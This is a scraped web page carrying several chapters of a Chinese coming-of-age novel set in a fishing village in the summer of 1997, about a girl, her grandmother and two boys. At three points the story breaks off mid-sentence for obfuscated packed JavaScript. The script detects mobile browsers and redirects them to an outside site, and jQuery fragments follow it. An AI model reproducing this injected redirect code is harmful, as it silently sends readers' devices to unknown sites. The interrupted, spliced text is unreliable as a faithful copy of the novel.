阿嬷是打算把这批甘蔗全都收掉,今天叫了不少人。人虽然多,事也很繁重,几人忙到天黑都还剩一点。 晚饭吃得很随便,阿嬷大松一口气:“最难搞的已经过去了,剩下的咱们自己慢慢来就行,今天辛苦你们了,明天阿嬷给你们做好吃的啊!” 赵迟来已经饿得前胸贴后背,连碗带筷都恨不得塞嘴里。另外两个劳工也不遑多让,整个饭桌只听见筷子扒拉光碗的声音,还有偶尔一两句“真好吃”。 小午吃完饭就想去看电视,阿嬷让黎明律跟着去看一眼,过一会儿又对刚放下碗筷的陈抑休说想喝茶,拜托他去烧水。 赵迟来看着忽然空荡下来的餐桌,心里突然就有点惴惴不安。果然,阿嬷开口问了昨天的事—— “慢慢,昨天那个橘子好吃吗?” 但又不是她以为的那种质问,一时有点摸不准阿嬷到底是试探还是随口一问。 “嗯嗯。”她假装忙着吃饭胡乱点头。 “喜欢就好,等你走的时侯阿嬷再给你带一些回去,正好阿律和阿休也在,多少都提得动。”她笑着点头,没再多说什么,仿佛真是随便说说。 赵迟来心里反而更加难受。 本来今天就憋了一天,这会儿听阿嬷说起只觉得羞愧到胸口涨疼。其实现在说出来好像也没什么大不了的,本来就决定要去道歉,可话到喉咙总觉得粘得张不了嘴。 “阿嬷,其实……其实那个橘子………”她支支吾吾慢吞吞往外吐。 “那个橘子是我偷的。” “那个橘子是我偷的!” 身后同时响起两个声音,打断了她即将说出口的话。 她回头,陈抑休和黎明律都站在门口。 应该是没想到有人抢自己台词,两人又接着各自争辩。 “是我。” “是我,和你们没关系。” “那篱笆是我拆的。” “那橘子是我摘的。” “那,那个洞后来还是我踹的。” “你记错了,是我。” “跟你说不清楚,”黎明律率先从争辩里挣脱出来,“阿嬷,真的是我和赵迟来没关系。” “嗯?”阿嬷眨了眨眼睛,明显还在状况外。 “啪。”赵迟来看出来了,一巴掌拍在自己额头上,无助又无语。 事已至此,只能老实交代。 三个人把昨天的经过解释清楚,排排蹲坐在阿嬷跟前,低头不语。 阿嬷看着他们没有说话,似乎在酝酿什么。半晌,赵迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没那么夸张,”阿嬷一边补网一边说,“如果说谎能让你快乐,得到你想要的东西,说一说也没关系,但如果不能甚至反而让你觉得惶恐害怕,那就没必要说了。” “说谎还会开心吗?”赵迟来蹙眉。 “对啊,比如你妈,”她低头在她耳边笑道,“其实你妈也是沙发,只是她一直不承认,隔几天就跑到没人认识的地方做头发。但也不妨碍她天天对外说自己头发乌黑柔顺天生丽质,你看她不照样很开心吗?” “什么?我妈也是沙发?”赵迟来一个鲤鱼打挺坐起来。 “嘘,别说是我说的啊,你就当不知道。”阿嬷谨慎道。 赵迟来却像发现了什么不得了的事情,引诱她继续往下说,但阿嬷却说什么也不肯再开口。她越是这样,赵迟来就越想知道,缠着她不让她干活。 阿嬷转移话题:“但话又说回来,下次遇上这种事情你完全可以先问一问嘛,自己战战兢兢犯错回头又小心翼翼认错,一个错接一个错到最后神仙也难救,这是何必呢?” “还不如一开始就勇敢一点,管它是香还是臭,先夹我碗里尝尝,不好吃再丢掉!” “嗯嗯,所以我妈也是单眼皮吗?她到底是割的还是你生的?”赵迟来敷衍点头。 “哎呀你倒是听啊!”阿嬷不耐烦抽了她屁股一巴掌。 黎明律端着水杯收回视线,也不知在堂屋里站了多久,他喝了一口,转身回屋。 人真是一种很奇怪的生物。 在说出一句简单的“你可以……吗?”,或者“我可以……吗”这样类似可以直接解决问题的请求之前,非要用一些旁门左道来打头阵。 好像只有这样才会高人一等。 但最后的结果通常是想要的目的没有达到,心情也闹得乱七八糟,徒留一个高人一等到下次再用,下次忐忑,下次内疚,下次后悔。 有人生来勇敢不懂这个道理。 有人勇敢一次后来明白这个道理。 也有人听过就忘或者畏畏缩缩,一辈子都走不出这个道理。 22. 1997年夏 22 赵迟来又好了。 第二天早上喝了一大锅海鲜粥。 黎明律和陈抑休各自戴上帽子和头巾,准备出门。 “阿嬷上午去出诊了,说我们可以在家休息。”她以为他们是去收昨天没收完的甘蔗。 “不下田,我们去橘园做工。”陈抑休解释,“你要一起来吗?” 昨天阿嬷随口说的话,居然真被他们听进去了。 “那小午怎么办?” “阿嬷已经带走了。” 赵迟来哦了一声,放下碗筷:“那算我一个。”好女人敢作敢当嘛,没什么好逃避的。 再次来到那片橘林,几人的心情远比上一次平静,阿秀姐听说他们的来意有点哭笑不得,但被纠缠了一会儿还是放他们进了园子。 渔田附近沿海盛产早橘,大半果子看起来皮色青嫩,但内里已经橙黄饱满,酸甜多汁。听阿秀姐说过段时间会有大量早橘上市,她得赶在这之前先出一批,他们也算是来对了时候。 既是自己要来的,总不能随随便便摘两个就走了,这一点上他们三个人还是挺统一的,接下来几天都是天不亮就过来,天黑了再回去,直到第三天中午和阿秀姐一起把第一批货送走。 当场热热闹闹吃了顿饭,又各自提了两袋橘子回来。 “这回真是送的了。” 阿嬷看着满地的橘子,站了半天不敢说话,是听了这一句才松口气。“那就行,准备吃饭吧。” “嘿嘿,今天吃什么?” “阿嬷,我们吃过了。” 她和陈抑休同时开口。 赵迟来想起来,自己好像确实吃过了,但可能是干了好几天体力劳动,消耗太快没什么实感,还是又问了一遍。 “今天你六阿公家里做桌,我打包了很多菜回来,有扣肉啊,虾枣啊,沙茶鲈鱼锅啊,还有还有呢,”阿嬷招了招手,对着满桌的打包盒如数家珍,“这个是刀鱼,这个是炸酥饺,还有这个……” 赵迟来眼睛都不够用了,直接端碗:“我先吃一口阿嬷!这个也来点!” 阿嬷一样给她投喂了一勺,一边看着她吃还一边捏了捏她的胳膊:“我们慢慢就是要多吃点才好,吃饱了才有力气,有力气才能康康健健长命百岁啊。” “唔……嗯嗯!” 阿嬷喂完赵迟来又拿过来两个海碗,对外面直愣愣看着这边的两个劳工施以慰问:“过来啊,你们想吃哪个?” 黎明律下意识摇头。 “不知道?那要不和慢慢一样每个都来点?”阿嬷自有理解。 “不是阿嬷,我们……我们吃不下了。”陈抑休说这话时,眼睛还看着暴风吸入的赵迟来,不等收回来就推着黎明律离开,“走走走,再不走就倒嘴里了。” “太可怕了……” “能吃是福。” “那这福气你为什么不要?” 两人背地里的小声赵迟来没听见,她只听见阿嬷又打开一个什么袋子,劝她“再来一口”。 一个小时后。 赵迟来翻来覆去睡不着,打了个嗝儿翻身下地,叼着冰棍去后院散步。 很巧阿嬷也在,她坐在树下的凳子上,盯着黎明律迎风飘舞的polo老头衫有一搭没一搭喂鸡。 “阿嬷你今天不午睡吗?” “睡不着。”她摇摇头,收回视线。 “那太好了!我也睡不着,”赵迟来立刻搬来个小凳子,“咱们继续讲讲昨天没说完的吧!” 她这几天晚上也没闲着。 睡觉之前总会缠着阿嬷给她讲八卦,都是些牌坊街的往事。 什么张鑫十三岁还尿裤子是随了他爸,喜欢唱跳也是,文思泉他爸的服装厂这些年如火如荼其实当年是靠岳丈起家,陈抑休刚来的时候总管他养母林首席叫叔所以一直不怎么喜欢他,黎明律被送来这里的原因是防止黎阿公又自寻短见。 前面几件事赵迟来都扒清楚了,最后一个昨天只说到一半阿嬷就睡着了。 “所以黎阿公之前是寻过短见吗?你昨天为什么说又啊?”她催促。 “他啊,”阿嬷嗐了一声,抓起一把虾壳丢出去,“之前喝过一次药没死成。” “啊?看不出来黎阿公还会做这种事!”她十分吃惊,“为什么啊?” “气性大呗,想让他几个儿子回花城做事,没一个听话的。”阿嬷哼哼两声,语气有点奇怪,“脾气孬过丁盛发,他养的儿子不都随他?” 丁盛发她知道,清代一个脾气暴躁又古怪的本地名医,大家要是想说一个人脾气不好都会这么说。 “那也不至于寻死吧……” “这都算收敛了,他年轻时候的脾气比这还差,方圆几十里啊但凡有招惹他的,不管你是谁直接往你脸上招呼,那时候没少和你阿公不对付。” “哦?黎阿公也会武术?他和阿公谁更厉害?”赵迟来好奇追问。 “单论拳脚功夫当然是你阿公厉害了,但你阿公也就只能讨拳脚功夫这一碗饭吃,所以后来学拳的人没了他也就饿死了。”明明是一件很悲伤的事情,阿嬷偏偏说出几分好笑。 “噗……” 赵迟来心里对阿公说了句对不起,强忍笑意,“听起来你们以前关系很好的样子,我还以为阿嬷因为是嫁过来的和他们都不熟,才一个人跑回这里来住的呢。” “牌坊街大都是渔田村出去的,怎么会不熟嘞?” “我是说你们和黎阿公!” “他那我更熟了,”阿嬷脱口而出,“当年要不是你阿公先来提亲,搞不好你现在和黎明律是一个阿公哦!” “什么?” 赵迟来感觉自己挖出了一个惊天大秘密!“阿嬷你这话是什么意思啊!你以前和黎阿公谈过恋爱吗?” “谈过啊。”阿嬷一脸淡定。 “什么时候?!” “和你阿公订亲的时候啊。” “阿嬷!那你岂不是同时和他们两个来往?真的假的?” “风华正茂的年纪,同时谈两个男朋友是什么很难理解的事情吗?”阿嬷拉开她的手,“你少大惊小怪,冰棍化我身上了。” “……” 赵迟来语塞了。 她单线行走了快十八年的脑回路,现在就像数学课打野一秒后发现黑板上已经写满的时候一样,再次四分五裂互相纠缠极其炸裂。 “好了,我还要去给人送药,你自己慢慢悟吧。”阿嬷敲敲空碗起身。 “不,不!我去,让我去!”她现在的脑子急需要清空一下。 “很远的,在隔壁村啊……” “我让一休哥骑车带我去!”她说着已经叫起了陈抑休。 “他在算东西啊,你叫他做什么?”黎明律站到窗口。 “迟来叫我吗?”陈抑休立刻停笔。 “你叫他有空出来一下,陪我出去一趟。”赵迟来去厨房洗手。 “我都说了他在做事怎么可能有空……” “有空的!我马上就来!”陈抑休猝不及防打断。 “……” 阿嬷装好药,递给赵迟来。 “要拿好啊,不要弄掉了。” “知道了阿嬷,我们走了,”赵迟来拉住陈抑休往外走,“走了黎明律。” 黎明律张了张嘴,还是开口了:“真的不用我一起吗?阿休他有事的。” 陈抑休摇头:“我没事,有也不着急,我都记得。”“你以为我想打搅他吗?还不是你不会骑自行车。”赵迟来指了指隔壁,“一休哥我们先去借车。” “嗯。” 黎明律舔了舔下唇,追上来两步:“要不我和阿休一起去吧。” 两人回头:“嗯?” 一旦开口,后面的话就顺利多了:“太阳太大了,你不怕晒黑吗?” 赵迟来顿了顿,点头:“有道理,但你们不认识路啊。” “我可以问。” 黎明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293261|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律眼神坚定,看起来很想得到这份工作。 他们俩出发了。 陈抑休在前面骑,黎明律在后面招手。 赵迟来手搭凉棚一路目送,直到看不见才跑回屋里。 “走了?” “嗯。” 阿嬷吹着风扇正准备切西瓜。 “阿律不会骑自行车吗?” “不会,他对这种有轮子的东西毫无办法。”她从刀下直接偷了一块。 “啪!”阿嬷拍了她一巴掌,“也不怕切到手。” “我手很快的嘛!”她说着对空气打了两拳。 阿嬷无奈笑笑,又问:“那阿休什么时候学会骑的?都没听你说过。” 赵迟来一下想起来:“很早了,5岁的时候吧,其实就是他刚来的那一天……” 准确说是第一面。 她坐在大树茶馆的台阶上,原本正一个人偷偷抹眼泪,哭完转头突然对上旁边一个鸡窝头。 “你是谁?怎么这么没礼貌?”她吓了一跳。 鸡窝头没理她,只顾看头顶不断飘落的树叶,不知道在想什么。 她当时就怀疑这个人脑子有问题,觉得自己不好太凶了,就问他叫什么名字。这回鸡窝头听见了,还问她是不是在哭,为什么哭。 她当时还因为在学自行车比赛中输给张鑫而难过,一股脑就把自己的苦水倒出来。说张鑫只学6天就会了,而她学了好多天还不会。 “6天,很快吗?”听完她的絮叨,鸡窝头道。 “……快啊。”她哽了哽。 “我可以更快。”鸡窝头平静得很。 “真的吗?你要是真的能赢过张鑫,我就……我就给你一个大奖励!”她立刻来了兴趣。 然后…… 然后他就学会了。 “甚至只花了半个小时,也可能几分钟不记得了,反正就是那时候学会的。”赵迟来又丢下一块西瓜皮。 “噢……”阿嬷咬了一口,也从故事里回过味,“原来是因为你才学会的。” 赵迟来觉得这话怪怪的,纠正:“是他自己要去的啊,我又没求他。” 阿嬷只是笑:“你是没有求他,但你奖励他了啊,话说你最后给了他什么奖励?” 她又拿起两块,仔细回想。 半晌,她不确定:“好像是个棒棒糖吧?反正不是什么值钱的东西,他向来很好收买的。”她已经进了屋,“小午吃不吃甜甜的西瓜呀?” 陈抑休也在吃西瓜。 旁边的黎明律也是。 他们两个把东西送到之后,被人强留下来吃瓜喝茶。 黎明律先一步吃完,擦了擦嘴看向门口:“你什么时候学会骑车的?” 陈抑休专注吃瓜:“很早,5岁的时候。” “哦,学了多久?” “不到一天。” “是你来牌坊街之前吗?” 陈抑休摇头:“搬过来的第一天,还是迟来让我去的。” 黎明律微顿:“她让你去的?” 陈抑休简单解释了前因后果。 和阿嬷一样,黎明律也问了同一个问题:“所以她最后给了你什么奖励?” 陈抑休闻言微微一愣,正要说话突然被嘴里的汁水呛了两声:“咳咳……” 黎明律立刻给他拿纸,两人收拾了一会儿,等陈抑休平复他又问道:“所以是什么奖励?”看起来真的很好奇。 陈抑休沉默了一会儿,垂眸擦了擦被呛得通红的脸,回道:“不太记得了,好像是一个棒棒糖。” “哦,那就好。” “嗯?” “我是说,那很好啊。她连棒棒糖都能给你。” “……”陈抑休仔细回忆了一下当时棒棒糖的价格,疑惑,“你喜欢棒棒糖?” “哈,还行吧。”黎明律起身松了松肩膀。 “那我等会儿买给你,我记得村口就有小卖店。”陈抑休认真邀请。 23. 1997年夏 23 傍晚的时候,黎明律抱着一堆棒棒糖回来了。 “你买这么多棒棒糖做什么?”赵迟来不请自来。 “阿休买的。”不知道为什么,她总觉得从黎明律脸上看到了熟悉的麻木。 “真是难得啊,这个铁公鸡……” 阿嬷在厨房叫人,黎明律放下东西过去。 陈抑休还完车回来得晚一些,手里提了两个袋子。 赵迟来一眼看出那是冰淇淋和辣条,飞一样迎上去:“厉害了一休哥!你怎么知道我想吃七个小矮人?” 陈抑休挠头:“我乱买的,还有红绿灯和摇一摇。” “今天有什么喜事吗?这么大方?”她叫小午出来吃。 “没有,就忽然想起很少请你们吃东西……” 赵迟来接过袋子和小午大吃特吃,反客为主对陈抑休发出邀请,他摆了摆手说去屋里待会儿。应该是继续出门前没做完的事。 “赵迟来,阿嬷让去捞点花蛤。”黎明律拿着菜篮子出来。 “哦好,来了。”她把没吃完的金丝条塞进袋子里,舔干净手指跟上。 马上就要开始涨潮了,滩上没有几个人,放眼望过去,只看见寄居蟹横爬的身影。 当然还有晚霞和日落。 不过赵迟来并没有什么心情多看,翻过好几遍的泥滩已经不太好找,她避开密集的脚印,仔细搜寻花蛤呼吸的痕迹。 过了一会儿,她手里积了一小把,回头叫黎明律来接。 他借海浪冲了一把手,拿着篮子走过来,背着夕阳,整个人都泛着温暖的红色。 赵迟来多看了他一眼。 “怎么了?” 他摸了摸自己的脸,眼神疑惑。本来干干净净的脸上,因为这一摸反倒多了两道泥痕。 “哈!”她忍笑摇头,“没事,你回去吧。”然后继续往前挖。 黎明律却没走。 他就站在原地一动不动,连赵迟来疑惑看过来时都没有什么动静。 “……怎么了?”这次轮到她一头雾水。 他也忍笑摇了摇头,但什么也没说,就地翻找起来。 “莫名其妙。” 赵迟来不再管他。 不过没一会儿又听他开口—— “赵慢。” “啊?”她疑惑回头。 “赵慢,慢。”他换了个称呼,又叫一声。 “嗯,嗯?”她依旧等着他下文。 没等到。 只等到又一个称呼。 “慢,慢。”他静静吐出两个字,有点生疏。 “我在呢,说啊。” 她擦了把汗,没明白这是要演哪一出。 好在这次他没再打什么哑谜,口齿清晰问道:“我以后能叫你慢慢吗?” 说这话的时候,他的眼神毛茸茸的,黏糊糊的,像一颗太妃糖。 她眨了眨眼收回思绪。 他说什么来着?叫她慢慢? 不是,叫她半天就为了问这个?赵迟来不太理解,但十分尊重:“可以啊,大家不都这么叫我吗?” “但我以前没有叫过。” “那为什么突然想叫了呢?” 黎明律回以沉默。 两人大眼瞪小眼,谁都没有先想明白。 是听见阿嬷的催促,赵迟来才收回视线。 “哦!来啦——” 她接过他手里的篮子,催促:“好了回去吧,这些应该也够了。” 走到半路还没听见身后有动静,她回头。 黎明律正看着一只海螺发呆,眉眼纠结表情有点疑惑。 “怪看不懂的。”她嘟囔一句,自己走了。 来了快一个礼拜,几乎天天都在干活,今天终于清闲了一点。 吃过晚饭赵迟来翻开行李箱,决定将抛诸脑后的练习题和沙袋捡起来。她先写了会儿题,写得有点烦躁,又去院子里练拳。 练了一会儿不但没有平静,反而更烦躁,总感觉有人在耳朵边上念经。 她停下来仔细听,念经的声音更明显了—— “啊~哈~@#¥¥%” “啊~哈~@#¥¥%” 好像是电视的声音。 她踱到窗前,就见床头排排坐了三个人,都目不转睛盯着黑白色的电视屏幕。 武打画面配合韵律感很强的歌词快速闪动: “吞风吻雨葬落日未曾彷徨, 欺山赶海践雪径也未绝望, 拈花把酒偏折煞世人情狂!” 她听着听着也莫名想点头。 “这是什么片子?以前怎么没看过?” 陈抑休没有转头:“昨天新播的武侠片。” 黎明律也没有转头:“《天龙八部》。” 小午热情招手:“姐姐快来,这个好好看!” 赵迟来眼神一亮:“出新版了吗?” 黎明律点头:“嗯,前几天就在TVB开播了,省卫昨天转的。” 她顿时顾不上练拳,解开沙袋脱鞋进屋:“哇,这次转得好快!”然后挤入其中,半路顺便把零食袋也薅过来。 中途阿嬷好奇看了一会儿,没太看懂,转头去端了一盆西瓜过来。 大都是赵迟来和小午在吃。 还剩最后一块时,她和小午同时伸手,各自捏住瓜皮的两边。对视一眼,谁都没有妥协。 “我先拿到的。” “明明是我先。” “那好,石头剪刀布。” 小午率先出拳。 赵迟来已经伸出来的剪刀慌慌张张改成布。 “我赢了!”她一点不心虚。 “……” 小午张了张嘴,咽回去。 过了一会儿又不甘心,用余光偷偷眼馋。眼看着丰沛的汁水,从瓜瓤里顺着赵迟来的嘴角淌下来,经过她圆润的下颌,缓缓流入脖……不是,第二层下巴。 嗯? 人怎么会有两层下巴? 这个问题一直在他的脑子里,困扰到看完电视。 赵迟来心满意足起身,约定明天再来,以后天天来。他仔细打量着,发现那第二层下巴又消失了。 可能是看错了。 但到了睡觉的时候,他翻来覆去还是想不明白。 陈抑休强行睁眼摸了摸他的脑袋。 “太热了睡不着吗?要不要和我换位置?” “不热,我是在想……一个人为什么会有两个下巴?” “长胖了自然会有两个下巴。”他很快又闭上。 “哦,原来是这样!”小午恍然大悟,“那姐姐应该是长胖了。” “这种话不要当她面说,明白吗?”来自另一边的黎明律。 “嗯,我知道,这是我们三个人之间的秘密。”他握拳,认真点头。 “嗯嗯……” 两个人敷衍两声,没了下文。 第二天晚上,赵迟来准时出现在电视屏幕前,第三天第四天也是如此。小午秘密保守得很好,尽管有时候会多看两眼,但从始至终都没提起。 到了第五天晚上,开播之前阿嬷来告诉他们,她得去隔壁村看诊,让他们好好看家。赵迟来点点头,看了眼手里的辣条觉得有点渴:“阿嬷西瓜还有没有?” “有啊,在厨房墙角。” 她快速出门,快速杀了几大块端回来,继续看。 不知道是不是刀没洗干净,两块下肚她隐隐约约感觉有点不舒服。 但剧情正好在阿朱被打伤后的紧要关头,眼看乔峰要大战聚贤庄,她不想错过就忍了忍,继续看。 等到乔峰喝下断义酒,她终于忍不住,捂着肚子狂奔出门。 感觉不太对。 她不是没有拉过肚子,但拉完之后这么没力的是第一次。 洗完手出来,她晃晃悠悠往屋里走,自觉走了半天但实际连门都没进,肠肚里又腾起一阵绞痛,实在撑不住,扶着墙根坐下来。 坐了一会儿感觉好了点儿,就想起身。或许是起得太急,脑子里一阵天旋地转,张嘴就吐得稀里哗啦。 到这里她终于感觉不太对。 她朝窗户叫了一声“救命”,让小午去找阿嬷。黎明律和陈抑休听见动静,前后脚跑出来。 “迟来你怎么……”陈抑休下意识往洗手间的方向发问,是黎明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304530|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律第一眼找到她。 “慢慢!” “救命,我好像要死了……” 她集中力气抓住伸过来的手,嘴里一个劲儿重复,“肚子疼,好疼好疼……” “应该是吃坏了肚子,”他看了眼地上的呕吐物,一反常态没有退避三舍,而是抄起她的胳膊就往外走,“我记得肠胃药没有了,阿嬷不在家,你告诉我最近哪里有诊所?” 赵迟来指了个方向。 “还能走吗?”他又问。 她摇头。 “我来背吧!”陈抑休很快跟上来。 黎明律没有说话,抄住她的腿弯一咬牙抱起来。 “阿休你带小午去找阿嬷,慢慢交给我。”话没说完人已经跑出去。 陈抑休望着两人消失的背影怔愣了一会儿,很快也回屋抱起小午出门。 赵迟来觉得脑袋嗡嗡的,浑身上下也沉得厉害,迷迷糊糊睁开眼,先看见一团毛茸茸。 是一个脑袋。 一个发质很细腻的脑袋。 她挣扎着想要看清楚是谁,手上一阵拉扯,贴着针头。 “慢慢?” 床沿的毛茸茸察觉她的动静,突然抬头,是黎明律。 “还有没有哪里不舒服?要不要叫医生?”他看着她的眼睛,脸上是从未见过的关切。 赵迟来终于想起来发生了什么。 “黎明律,你送我来的吗?”当然是,病房里除了他没有别人。 “你急性肠胃炎,医生已经看过了,”他点头,拿起桌上的水杯,“你要喝点……”话没说完,杯子吧嗒一声砸在地上,搪瓷的倒是没破但里面的水洒了一地。 “没事吧!”赵迟来惊呼。 “没事,我等会儿收拾干净再倒给你。”他捏了捏手腕捡起杯子,看向将要到底的吊瓶,“现在先去叫人过来给你拔针,你安心等会儿。” 他起身,柔软的后脑勺很快消失在门口,赵迟来一直盯着他的手,影子在她脑子里留了很久。 “慢慢!” 阿嬷推门进来,后面还跟着陈抑休和小午,都一脸担忧。 “阿嬷我没事!”她瞬间恢复力气,笑脸相迎。 “都吐成那个样子怎么可能没事!都怪阿嬷让你吃杂了!”阿嬷心疼地一把将她抱进怀里,她顺势蹭了蹭。 等她回过神,陈抑休和他怀里昏昏欲睡的小午已经被晾了多时。 “抱歉啊,大晚上折腾得你们也睡不了觉,我下次不会了……” “你感觉怎么样?”陈抑休轻轻摇头。 “好多了。” “那就好。”他又点点头。 阿嬷问她肚子饿不饿,要不要喝点白粥,她点点头。 阿嬷一走,凳子空了下来。 她示意陈抑休过来坐。 “你不知道,阿律很担心你。”他突然开口。 “我知道啊,不是他送我过来的吗?” “他……是。”他咽了咽,正色道,“我也很担心你。” “我知道。”赵迟来点头。 “我只是慢了一点,原本也打算背你过来的。”他接着解释。 “我知道。”赵迟来笑着点头。 “找人拔针我也可以。”他挪近了一些。 “我知道。”她继续点头,“我都知道,还有什么要说的吗?” “我……” 他欲言又止,神色逐渐困惑,似乎不知道该说什么才好。等他将要想好时,黎明律带着护士进来了,话题到此为止。 之后的事还算顺利。 第二天一早赵迟来就回家了,医生说只能喝粥,但喝粥压根不管饱。 阿嬷就换着法子给她研究能吃饱的东西,不过两天她就彻底好了。 两天后的那天早上,他们刚刚吃完早饭,隔壁借自行车的阿姐跑过来叫阿嬷。 “阿嬷有电话!花城来的!” “哦好,这就来。”阿嬷起身对赵迟来道,“应该是你妈打的,找你。” 刚说完那阿姐又摆摆手:“不是找慢慢,是个姓黎的阿公,说找他孙子!” 大家都是一顿,疑惑看向正在喝粥的黎明律。 24. 1997年夏 24 黎明律去的时候慢吞吞,回来的时候飞奔得像个骄傲的孔雀。 “阿嬷!我得回去了!” 他直奔屋里。 “啊?这么突然?”赵迟来意外。 “是家里出事了吗?”阿嬷蹙眉。 “不是!是我朋友来找我,很重要的事我得回去一趟。”他很快收拾好自己的背包。 “哦那就好,这个点大巴正好要从村口过,既然很重要那就快去,错过只能等明天了。”阿嬷松了口气,顺便让赵迟来送他上车。 “不用了,我知道在哪儿等,就让慢慢在家休息。”黎明律出来和大家告别,“我就不等你们了?” “哦没事,我去给你装点吃的,你等等啊!”黎明律推说不用,赵迟来已经放下碗筷起身。 他摇头,快步往外走:“走了阿休,慢慢他们就拜托你了。” 陈抑休应下:“哦,是你说的那个软件有进展了吗?” 黎明律点头:“他们找到算法突破点了!”他已经走出去一段路,回头却见阿嬷还端着碗站在原地,脚下一顿,突然拐回来。 他径直跑到阿嬷面前,一把将她揽进怀里,狠狠拥抱了一下:“这段时间给您添麻烦了,下次我再来看您,有什么活儿尽管交给我。” 阿嬷被他猝不及防来这一下,人都不好意思了:“噢没事,没事……记得替我问你阿公好啊。” “会的,走了阿嬷!”这回是真走了。 赵迟来提着一袋橘子龙眼出来,只来得及看见黎明律即将消失的后脑勺。阿嬷站在院门口,笑得一脸慈祥,甚至比这次回来见她那时候还要慈祥。 她问陈抑休:“怎么回事?” 陈抑休实话实说:“他和几个同学一起做的项目有进展了。” “我说阿嬷。” “哦,阿律走之前抱了阿嬷一下。” “喔唷……那难怪念念不舍。”她心里顿时不是滋味。 阿嬷收回视线,面对赵迟来的挤眉弄眼咳了一声:“我送送怎么了?阿律可比你懂事多了。” “呵呵,既然这么喜欢,干脆让他过来给你做孙子得了。”她的阴阳怪气没有持续多久,隔壁阿姐又探头过来喊道—— “阿嬷!电话!” 又是那位黎阿公。 阿嬷听罢指了指村口,叫她告诉对方黎明律已经走了。 “不是找他,这回找你的阿嬷!”阿姐如是说。 阿嬷面露疑惑,放下碗筷去了。 不过一会儿就回来。 赵迟来随口问了句黎阿公找她什么事,阿嬷也随口回了句没事,就是替黎明律寒暄感谢这几天的照顾。 晚上几人在院子里乘凉。 赵迟来照常和阿嬷聊天八卦,阿嬷好几次不在状态没听清。又一次撞见她出神后,赵迟来收回话头试探道:“阿嬷,你是不是舍不得黎明律?” 阿嬷愣了一下才反应过来:“啊?没有啊。” “没有今天干嘛一直发呆啊?自从早上黎明律走了你就一直这样。” “不是,我那是……”阿嬷支支吾吾,却说不出其他理由。 “不用解释,解释就是掩饰,”她故作伤心哀叹一声,“哎呀……他比我聪明也比我懂事,舍不得也是人之常情。只是可惜啊,可惜……” “可惜什么?”阿嬷不明所以。 “如果当年和阿嬷结婚的是黎阿公,黎明律现在就是你亲孙子,可惜不是啊不……啊——”她话没说完,巴掌就落到了她腿上。 “这种话也是能乱说的?” “哎呀阿嬷痛痛痛……小午他们看着呢。” 教小午玩魔方的陈抑休也好奇转头,阿嬷这才收敛,小声警告:“你要是回去乱说,下次阿嬷就什么都不讲了,你求我都不讲。” 赵迟来立刻服软。 阿嬷这里有意思的事太多了,她绝对不想失去这个安徒生。又是倒茶又是捏肩,哄了好久才哄好。 等她脸色好转,赵迟来隐隐约约又有点想犯贱。 “阿嬷,我想知道你有后悔过吗?” “……”阿嬷又立刻不理她。 “哎哟,你就告诉我一句真话嘛,毕竟那可是黎明律诶,从小到大年级第一的黎明律诶,有这样一个孙子不是很有面子吗?这些年每次看到他,你难道就没有后悔过吗?”她再次缠上去。 “没有。”阿嬷面无表情。 “一次一瞬间都没有?” “哎呀都说了没有了!” “是吗,我不信。” 她直勾勾看着阿嬷的眼睛,抓着她的手不让她逃脱。 阿嬷逃跑失败被她缠得没了脾气,哀叹一声:“你是不是傻的,要真是这样就没有你了,没有赵慢慢。” “比起黎明律,我更想赵慢慢叫我阿嬷。”她像公开发表什么宣言一样,坚定地看着赵迟来的眼睛,“满意了吧?” 赵迟来琢磨了一会儿,真没从她脸上看到什么心虚,终于心满意足躺回她腿上。 “哼哼,这还差不多。” “你呀你呀,贪心鬼一个!幸亏你妈没生第二个……”阿嬷早就看穿她的心思,咬牙切齿又拿她毫无办法。 两人继续说着小话。 这头的小午转到死局,抬头找陈抑休求助:“哥哥,回不来了……” 陈抑休眨了眨眼,从对面收回视线:“哦。”接过他手里的魔方,唰唰转起来。 赵迟来的心情没有因为少了一个人就变差,至少胃口没有。 阿嬷看她病好了,给她开启养元气模式,一大早就说她喝了两天粥人都喝瘦了,让她多吃点。 和之前杂乱油腻的菜品不一样,阿嬷做了很多汤,鸡呀鸭呀鱼呀猪肚猪血每顿都换着花样做。 三个人的脸和肚子一样肉眼可见的圆润起来,尤以赵迟来为甚。 “阿嬷,你觉得我胖了吗?” 赵迟来打完一套拳收势,突然发问。 “……没有啊!”阿嬷看了她两眼,“我看着都瘦了。” “啊?可我怎么感觉身体变重了?”她捏了捏自己的胳膊,“看来今天晚上得少吃点。” “没有的事!”阿嬷坚定否认,然后随手抓了一个路过的人,“阿休,来得正好你告诉慢慢她胖了没有?” “……” 陈抑休随意看了赵迟来一眼,继续沾水压头顶的呆毛,“没有。” “你看!”阿嬷找到同类,“就是你多想,可不能闹绝食那一套啊,年纪轻轻正是长身体的时候!” “是吗?”赵迟来有点怀疑。 阿嬷没再纠结这个话题,发现什么新大陆似的:“哎呀阿休啊,你头发什么时候这么长了?多久没剪了?” “两个月不到吧。”他想了想。 